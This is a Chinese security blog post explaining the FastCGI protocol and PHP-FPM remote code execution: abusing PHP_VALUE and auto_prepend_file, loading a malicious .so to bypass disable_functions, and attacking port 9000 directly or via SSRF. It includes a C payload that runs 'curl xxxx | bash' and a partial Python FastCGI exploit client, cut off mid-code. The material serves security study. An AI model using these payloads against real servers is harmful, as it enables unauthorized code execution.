您当前的位置: 首页 >  php

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

php-fpm rce攻击

合天网安实验室 发布时间:2019-09-27 10:33:41 ,浏览量:0

0x00 something

PHP-FPM(FastCGI Process Manager):FastCGI进程管理器

FastCGI

FastCGI 本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议

fastcgi 协议由多个 record 组成,recordheaderbody 组成

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 


  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

实验推荐:Fastcgi安全

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060115422500001

PHP-FPM

PHP-FPM 是 一个实现和管理 FastCGI 协议的进程

PHP-FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据

一般来说,apache 通过 mod_php 来解析 phpnginx 通过 php-fpm(fast-cgi) 来解析 phpapache 也可以设置为 php-fpm 方式

mod_php 通过嵌入 PHP 解释器到 apache 进程中,只能与 apache 配合使用

cgifast-cgi 以独立的进程的形式出现,只要对应的Web服务器实现 cgi 或者 fast-cgi 协议,就能够处理 PHP 请求

0x01 PHP-FPM 的模式

nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 (socket) 模式

TCP 模式

php-fpm 进程会监听本机上的一个端口,默认为9000,然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {
    ...
    fastcgi_pass 127.0.0.1:9000;
    ...
 }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

listen= 127.0.0.1:9000
Unix Socket

unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket  描述符文件就可以建立通道进行通信

nginx 的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {
    ...
    fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    ...
 }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

 listen= /run/php/php7.3-fpm.sock
0x02 任意代码执行 普通 RCE

PHP-FPM 的两个环境变量: PHP_VALUEPHP_ADMIN_VALUE,用来设置PHP配置项

  • PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项

  • PHP_ADMIN_VALUE 可以设置所有选项,但 disable_functions 除外

php-fpm进行通信,执行php代码

来自p神的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1

  • 找到一个已存在的PHP文件

  • 设置 auto_prepend_filephp://inputallow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body

  • 或者 auto_prepend_file 为 自己的vps地址

但这种方法受限于 disable_functions

绕过 disable_functions RCE

可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果

PHP_ADMIN_VALUE['extension'] = hack.so

生成 .so 文件的工具 https://github.com/w181496/FuckFastcgi/

或者

// gcc -c -fPIC hack.c -o hack
// gcc --share hack -o hack.so


#define _GNU_SOURCE
#include 
#include 
#include 
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl xxxx | bash");
}
0x03 attack 9000端口暴露在外网(未授权访问)

修改 php-fpm的监听端口为 0.0.0.0:9000,也就是任何ip都能访问9000端口,就可以与 php-fpm 进行通信,伪造 fastcgi协议包进行任意代码执行

exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF打9000端口

如果9000端口没有开放在外网,可以通过SSRF来打,原理同上

import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client


PY2 = True if sys.version_info.major == 2 else False




def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s




class FastCGIClient:
    """A Fast-CGI Client for Python"""


    # private
    __FCGI_VERSION = 1


    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3


    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11


    __FCGI_HEADER_SIZE = 8


    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3


    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()


    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True


    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf


    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value


    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2])             
关注
打赏
1665306545
查看更多评论
0.0481s